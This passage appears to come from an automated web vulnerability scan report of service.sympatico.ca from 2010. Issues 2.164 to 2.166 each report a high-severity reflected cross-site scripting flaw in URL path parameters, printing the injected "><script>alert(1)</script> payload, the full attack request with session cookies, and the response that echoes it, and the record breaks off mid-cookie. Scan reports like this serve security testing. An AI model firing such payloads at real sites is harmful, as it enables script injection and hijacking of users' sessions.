Set-Cookie: SMSESSION=tJteg1KVyTCvsRBNc23mk6BYQne6VvGBkfn4bQdQJfv6JFj8wHO8MwSIUUwwCJneH/r0jro1h2P89f8z4pNvCPe4GTiYc/sUBkmbOzwQ2Ad09T8Itz5MZQNXurtbTpSlNtkB2SYQEV2lazhosw3n4d7/wjka/LKuOj28ZlbNUL5LvIub47dFiZV7xC5MKNPgaHL2RYAAvw3TsPiChcWFbt+YBuhKfEBMDe+F/MFUACNXFbfT1rqVhShrln4VhliHvUg5Jg9FjJTPiWrney8aOy+DZ0hMzwf4AFmxoR4o8cAEDwUZtTwWzw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:10 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:10 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:10 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:10 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:10 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:10 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:10 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:10 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:10 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:10 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:10 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:10 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:10 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:10 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
fm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.png?5ba9c"><script>alert(1)</script>224881da6fb=1" />
...[SNIP]...

2.164. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.png

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8f09"><script>alert(1)</script>483120273a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Cc8f09"><script>alert(1)</script>483120273a/images/icons/vi_topNavWireless.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:19 GMT
Connection: close
Set-Cookie: SMSESSION=m+xTYCM1WDlNAdl1BxaCXPiZ4yLsHC53gb90aTSlwYNi/IIHijLK+gm61zs7WR9TgQ4vLaUHWmyicFsSTYCRCpIpLxmsrbvL07Al4lE181Gm4CzrZG0lqMFdvGGgBYt+66pkwcm1T1hLeKjByzjlQKjfxFbObMzciWU5ks0v2gKEOtdmaO0qZRUjvX0cJhBlFDkLwhxurGs5Lub2C3r0MPq2bSPyCAsGOWuEsk231nFpZioCzhzYyAT5pOs5zYSeSWMm9q2tf0Mwai2SdIV+J6aktjqy5E79If/i4pm5yqGhSDo7/n2DsQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:20 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:20 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:20 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:20 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:20 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Cc8f09"><script>alert(1)</script>483120273a/images/icons/vi_topNavWireless.png" />
...[SNIP]...

2.165. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.png

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3c640"><script>alert(1)</script>85c5ab0e434 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images3c640"><script>alert(1)</script>85c5ab0e434/icons/vi_topNavWireless.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:22 GMT
Connection: close
Set-Cookie: SMSESSION=ZM3oIWPk/iT7RbqvEfz3Vm3+suWXzS2STPf6ui6GJLtuOlmzEjmzkhQANR8J+EQbZB1GbeVSKN61bIoOx+kb3jadgILtRHHUkXvw1C8i9IsBOXr+taB5BZBVxd39wGkz3FmBoKodv8qU5guBYGpUrUxKrA2jxEBQk32YWg2Xi+ynpp2HiqUjako6YlUHNM+LyztJzWdj+5Dg5VQIzpntONi+SNyXYGGIRT6rmX0TVt143r8t0SZSr5JRzyz1PRxXkftiongQtAgDGPLYWkie0Ja48rzrVLAc9v4fP7edkBEjcyt6Ye2kAg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:22 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images3c640"><script>alert(1)</script>85c5ab0e434/icons/vi_topNavWireless.png" />
...[SNIP]...

2.166. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload adc90"><script>alert(1)</script>c2df639870e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/iconsadc90"><script>alert(1)</script>c2df639870e/vi_topNavWireless.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%